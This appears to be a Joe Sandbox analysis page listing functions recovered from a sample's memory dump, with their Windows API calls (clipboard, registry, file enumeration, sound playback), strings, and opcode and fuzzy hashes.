Function 00007FF6BB14F8D0 Relevance: 31.9, APIs: 20, Instructions: 1857COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14FC46
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB14FE69
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB150183
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB150396
memcpy_s.LIBCMT ref: 00007FF6BB1505D1
memcpy_s.LIBCMT ref: 00007FF6BB150664
memcpy_s.LIBCMT ref: 00007FF6BB150818
memcpy_s.LIBCMT ref: 00007FF6BB1509F2
memcpy_s.LIBCMT ref: 00007FF6BB150AE7
memcpy_s.LIBCMT ref: 00007FF6BB150B1F
memcpy_s.LIBCMT ref: 00007FF6BB150BB6
memcpy_s.LIBCMT ref: 00007FF6BB150CC7
memcpy_s.LIBCMT ref: 00007FF6BB150D6F
memcpy_s.LIBCMT ref: 00007FF6BB150DB5
memcpy_s.LIBCMT ref: 00007FF6BB150FF1
memcpy_s.LIBCMT ref: 00007FF6BB151060
memcpy_s.LIBCMT ref: 00007FF6BB15109E
memcpy_s.LIBCMT ref: 00007FF6BB151148
memcpy_s.LIBCMT ref: 00007FF6BB15136C
memcpy_s.LIBCMT ref: 00007FF6BB15155C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID:
API String ID: 2880407647-0
Opcode ID: ce3caaf699caba12f71b3e9f0da339f933c6cfb778c9e215de14da521d683320
Instruction ID: 50f10a0ccf41f627ce6ca81f2062d64a7c858f59fe5d264ddac045300b884530
Opcode Fuzzy Hash: ce3caaf699caba12f71b3e9f0da339f933c6cfb778c9e215de14da521d683320
Instruction Fuzzy Hash: 3203C372A081C28FE7758E69D554BF937A5FB8878CF400135DB09A7B68DF38AA44CB44

Function 00007FF6BB1B0A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF6BB1B0AAA
IsClipboardFormatAvailable.USER32 ref: 00007FF6BB1B0AB7
GetClipboardData.USER32 ref: 00007FF6BB1B0AC9
CloseClipboard.USER32 ref: 00007FF6BB1B0AD7
GlobalLock.KERNEL32 ref: 00007FF6BB1B0B07
CloseClipboard.USER32 ref: 00007FF6BB1B0B12
GlobalUnlock.KERNEL32 ref: 00007FF6BB1B0B42
IsClipboardFormatAvailable.USER32 ref: 00007FF6BB1B0B52
GetClipboardData.USER32 ref: 00007FF6BB1B0B61
GlobalLock.KERNEL32 ref: 00007FF6BB1B0B76
GlobalUnlock.KERNEL32 ref: 00007FF6BB1B0BB5
CloseClipboard.USER32 ref: 00007FF6BB1B0CFC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
Instruction ID: 21ba6651704f9bdc90ac09c199a7a7d0f436e5ff1d2ecaa65aa0971427a93eda
Opcode Fuzzy Hash: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
Instruction Fuzzy Hash: E1714D21B09A4286EA24AB19E49827D2361FF8DB8DF444035DB4EC77B5DF3CE606C754

Function 00007FF6BB1B206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF6BB1B2094
LoadCursorW.USER32 ref: 00007FF6BB1B20A5
LoadCursorW.USER32 ref: 00007FF6BB1B20B6
LoadCursorW.USER32 ref: 00007FF6BB1B20C7
LoadCursorW.USER32 ref: 00007FF6BB1B20D8
LoadCursorW.USER32 ref: 00007FF6BB1B20E9
LoadCursorW.USER32 ref: 00007FF6BB1B20FA
LoadCursorW.USER32 ref: 00007FF6BB1B210B
LoadCursorW.USER32 ref: 00007FF6BB1B211C
LoadCursorW.USER32 ref: 00007FF6BB1B212D
LoadCursorW.USER32 ref: 00007FF6BB1B213E
LoadCursorW.USER32 ref: 00007FF6BB1B214F
LoadCursorW.USER32 ref: 00007FF6BB1B2160
LoadCursorW.USER32 ref: 00007FF6BB1B2171
LoadCursorW.USER32 ref: 00007FF6BB1B2182
LoadCursorW.USER32 ref: 00007FF6BB1B2193
GetCursorInfo.USER32 ref: 00007FF6BB1B21A8
GetLastError.KERNEL32 ref: 00007FF6BB1B21E9

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: fd6d994eccd07dc35a91bbc6cd25d2d543a09fb1dc6793f981a7c80e4ed00d28
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: 49512832B4CB028AEB589B68F45927D37A1FB89748F144439DA0EC3BA4DE7CE4568344

Function 00007FF6BB16529C Relevance: 24.1, APIs: 9, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6BB1652E5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB16595E
memcpy_s.LIBCMT ref: 00007FF6BB16630B
memcpy_s.LIBCMT ref: 00007FF6BB1663B2

Part of subcall function 00007FF6BB151C28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB151C5A

memcpy_s.LIBCMT ref: 00007FF6BB16647B

Part of subcall function 00007FF6BB15B2C4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BB15B2E9

Strings

1#INF, xrefs: 00007FF6BB166553
1#SNAN, xrefs: 00007FF6BB166515
1#IND, xrefs: 00007FF6BB1664F6
1#QNAN, xrefs: 00007FF6BB166534

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: 3ce6d098dea06b582cd2cb2e4a3c36d83b3aa6360c3263b8f2a886e09f514321
Instruction ID: cc96414a3116f4c52914607593fa273132ef446d71c59187aa87adf9974df8c7
Opcode Fuzzy Hash: 3ce6d098dea06b582cd2cb2e4a3c36d83b3aa6360c3263b8f2a886e09f514321
Instruction Fuzzy Hash: 60B2C272A082868BE7658E6DD4406FD37A5FB8978CF505135DB0B97BA9DF38E904CB00

Function 00007FF6BB1C0AEC Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 388registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32 ref: 00007FF6BB1C0BF8
RegCreateKeyExW.ADVAPI32 ref: 00007FF6BB1C0C8C
RegSetValueExW.ADVAPI32 ref: 00007FF6BB1C0ED2
RegSetValueExW.ADVAPI32 ref: 00007FF6BB1C1047
RegCloseKey.ADVAPI32 ref: 00007FF6BB1C107A
RegCloseKey.ADVAPI32 ref: 00007FF6BB1C1089

Strings

REG_DWORD, xrefs: 00007FF6BB1C0F1D
REG_MULTI_SZ, xrefs: 00007FF6BB1C0DF8
REG_QWORD, xrefs: 00007FF6BB1C0F90
REG_EXPAND_SZ, xrefs: 00007FF6BB1C0CFB
REG_SZ, xrefs: 00007FF6BB1C0D83
REG_BINARY, xrefs: 00007FF6BB1C0FE8

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CloseValue$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 3314541760-966354055
Opcode ID: 425c424f695c2dd20d82d234265c98afdeeedd32987be99b8c64668a2890cfd0
Instruction ID: 05a2854a0717aa3fc0c10cbbf45e7a55e1cfb7aeb2767d81080f6e7c94d89551
Opcode Fuzzy Hash: 425c424f695c2dd20d82d234265c98afdeeedd32987be99b8c64668a2890cfd0
Instruction Fuzzy Hash: E1025C26B08A8285EB10DF2AD4912AD37A4FB8DB9CB059432DF0D9B766DF38E545C740

Function 00007FF6BB125F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF6BB125F65

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: e72118c0d96e0102c5b40f29b553151352ee296625f047164934555310371132
Instruction ID: af19c207c837b9ccc76e76747eddc51b9176aeac3e61f35f9d3ee7f91a2e783d
Opcode Fuzzy Hash: e72118c0d96e0102c5b40f29b553151352ee296625f047164934555310371132
Instruction Fuzzy Hash: 62A18F32A0864186F724DF29E4542BAB761FB8DB8CF548136DB9E83AA4CF7CE545C700

Function 00007FF6BB1A72A8 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 284timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6BB1A72E8
FindClose.KERNEL32 ref: 00007FF6BB1A731A
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6BB1A7359
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6BB1A7381
FileTimeToSystemTime.KERNEL32 ref: 00007FF6BB1A73B3
FileTimeToSystemTime.KERNEL32 ref: 00007FF6BB1A73E3

Strings

%03d, xrefs: 00007FF6BB1A76CF
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00007FF6BB1A7441
%02d, xrefs: 00007FF6BB1A7519
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF6BB1A747E
%4d, xrefs: 00007FF6BB1A74C3

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3232708057-3289030164
Opcode ID: 814f0e17d8d2bbad75fd670c3d6fe38e01099dff03db83368ac82057212a78ab
Instruction ID: 62d084fda2aa3d6695bd5f3932b1ba02acbb0e007d0928bd7d7ada066cf2a142
Opcode Fuzzy Hash: 814f0e17d8d2bbad75fd670c3d6fe38e01099dff03db83368ac82057212a78ab
Instruction Fuzzy Hash: 38D19362B1865395EB10DB69E4510FE6761FB8979CF404132EB4D87AB9EF7CD608CB00

Function 00007FF6BB1AA350 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6BB1AA390
GetFileAttributesW.KERNEL32 ref: 00007FF6BB1AA3CE
SetFileAttributesW.KERNEL32 ref: 00007FF6BB1AA3E5
FindNextFileW.KERNEL32 ref: 00007FF6BB1AA3FA
FindClose.KERNEL32 ref: 00007FF6BB1AA407
FindClose.KERNEL32 ref: 00007FF6BB1AA424
FindFirstFileW.KERNEL32 ref: 00007FF6BB1AA43D
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1AA489
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1AA4B0
FindNextFileW.KERNEL32 ref: 00007FF6BB1AA4BE
FindClose.KERNEL32 ref: 00007FF6BB1AA4CD

Strings

*.*, xrefs: 00007FF6BB1AA436

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction ID: 09c67a7d5959746107dc06ed7d6b44cdbaeca135fdc4e7a9153269b77553182d
Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
Instruction Fuzzy Hash: 8B417221619A4255EB40DB1DE84827963A5FF48BADF845131DE6D876B4DF3CE50ECB00

Function 00007FF6BB19D87C Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 66COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM ref: 00007FF6BB19D8F5
mciSendStringW.WINMM ref: 00007FF6BB19D913
mciSendStringW.WINMM ref: 00007FF6BB19D92B
mciSendStringW.WINMM ref: 00007FF6BB19D949
mciSendStringW.WINMM ref: 00007FF6BB19D967

Strings

close PlayMe, xrefs: 00007FF6BB19D907, 00007FF6BB19D952
open , xrefs: 00007FF6BB19D894
status PlayMe mode, xrefs: 00007FF6BB19D8EE
play PlayMe, xrefs: 00007FF6BB19D960
alias PlayMe, xrefs: 00007FF6BB19D8CF
play PlayMe wait, xrefs: 00007FF6BB19D942

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: SendString
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 890592661-1007645807
Opcode ID: 8c75045ae2975b650199124e41f521ffa5447aaf8d5604ea34d6cf9b552b621e
Instruction ID: e7fe2b96e4b9602a071a709ba67d93ef0204e621618ce996fd60674481199a70
Opcode Fuzzy Hash: 8c75045ae2975b650199124e41f521ffa5447aaf8d5604ea34d6cf9b552b621e
Instruction Fuzzy Hash: BA213022B1899292EB20EB28F855A7A6771FF9D74CFD04031DB4D879B9DE2CD909C740

Function 00007FF6BB1AA4F8 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 104fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32 ref: 00007FF6BB1AA530
FindNextFileW.KERNEL32 ref: 00007FF6BB1AA588
FindClose.KERNEL32 ref: 00007FF6BB1AA595
FindClose.KERNEL32 ref: 00007FF6BB1AA5B3
FindFirstFileW.KERNEL32 ref: 00007FF6BB1AA5CC
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1AA611
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6BB1AA638
FindNextFileW.KERNEL32 ref: 00007FF6BB1AA646
FindClose.KERNEL32 ref: 00007FF6BB1AA655

Part of subcall function 00007FF6BB19C67C: CreateFileW.KERNEL32 ref: 00007FF6BB19C6B1

Strings

*.*, xrefs: 00007FF6BB1AA5C5

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction ID: 4cd47f514ebcc02a673d05c8fdb98c62962bbc34d7c4c0e24c9476088f4ddd9d
Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
Instruction Fuzzy Hash: CF414D11A1DA4255EA509B19E8446B963A0FB49BECF905131DE7E876F5EF3CE40ACF00

Function 00007FF6BB1A83D4 Relevance: 16.8, APIs: 11, Instructions: 255comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF6BB1A8452
SHGetSpecialFolderLocation.SHELL32 ref: 00007FF6BB1A84FC
SHGetDesktopFolder.SHELL32 ref: 00007FF6BB1A8516
CoCreateInstance.OLE32 ref: 00007FF6BB1A858F
SHCreateShellItem.SHELL32 ref: 00007FF6BB1A8629
CoTaskMemFree.OLE32 ref: 00007FF6BB1A8699
SHBrowseForFolderW.SHELL32 ref: 00007FF6BB1A872A
SHGetPathFromIDListW.SHELL32 ref: 00007FF6BB1A874B
CoTaskMemFree.OLE32 ref: 00007FF6BB1A8754
CoTaskMemFree.OLE32 ref: 00007FF6BB1A8799
CoUninitialize.OLE32 ref: 00007FF6BB1A879F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 3a66660978b74256e478f4cb36c462460227a0609cb260d38e2b72df45aab120
Instruction ID: 84d308518a2e2356c3e04716d292af6d8314a87b27849ebe1c36610303caf021
Opcode Fuzzy Hash: 3a66660978b74256e478f4cb36c462460227a0609cb260d38e2b72df45aab120
Instruction Fuzzy Hash: 1BC12776A04B8586EB10DF6AE8842AD77A0FB89B98F054036DF4E87775DF38D549C700

Function 00007FF6BB1A59D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6BB1A59FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF6BB1A5A86
GetLastError.KERNEL32 ref: 00007FF6BB1A5A90
SetErrorMode.KERNEL32 ref: 00007FF6BB1A5B17

Strings

INVALID, xrefs: 00007FF6BB1A5ACD
READONLY, xrefs: 00007FF6BB1A5AC4
UNKNOWN, xrefs: 00007FF6BB1A5AB0
READY, xrefs: 00007FF6BB1A5AD6
NOTREADY, xrefs: 00007FF6BB1A5AB7

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction ID: 731d77b31cd91b855a7946cf52b209a2d96dee5638e711a27c15b262ce9b290a
Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction Fuzzy Hash: 49412926B08A4695EB109B69D8801BC3771FB8CB9CF558432DB1D83BB5DF38E599CB00

Function 00007FF6BB1B6C34 Relevance: 15.3, APIs: 10, Instructions: 296fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6BB1B6C76
CoInitialize.OLE32 ref: 00007FF6BB1B6CA4
CoUninitialize.OLE32 ref: 00007FF6BB1B6CAF
GetRunningObjectTable.OLE32 ref: 00007FF6BB1B6DD9
SetErrorMode.KERNEL32 ref: 00007FF6BB1B6EF7
CoGetInstanceFromFile.OLE32 ref: 00007FF6BB1B6F49
CoGetObject.OLE32 ref: 00007FF6BB1B6F69
SetErrorMode.KERNEL32 ref: 00007FF6BB1B6F81
SetErrorMode.KERNEL32 ref: 00007FF6BB1B701B
VariantClear.OLEAUT32 ref: 00007FF6BB1B702E

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
Instruction ID: 17a5628d6c3bf9056578126b89e82ea31f1c639e80687a62a8f456b0010098c8
Opcode Fuzzy Hash: 392a36257488f8891aba19e7c901252a1c57c9e7be585a14d68986620d9dc28e
Instruction Fuzzy Hash: 77D13A36B08B4686EB20DF69D4902AD73A1FBA8B8CB504436DF4D97B68DF38D449C340

Function 00007FF6BB1B0D24 Relevance: 15.1, APIs: 10, Instructions: 86clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF6BB1B0D62
EmptyClipboard.USER32 ref: 00007FF6BB1B0D68
GlobalAlloc.KERNEL32 ref: 00007FF6BB1B0D80
CloseClipboard.USER32 ref: 00007FF6BB1B0E72

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

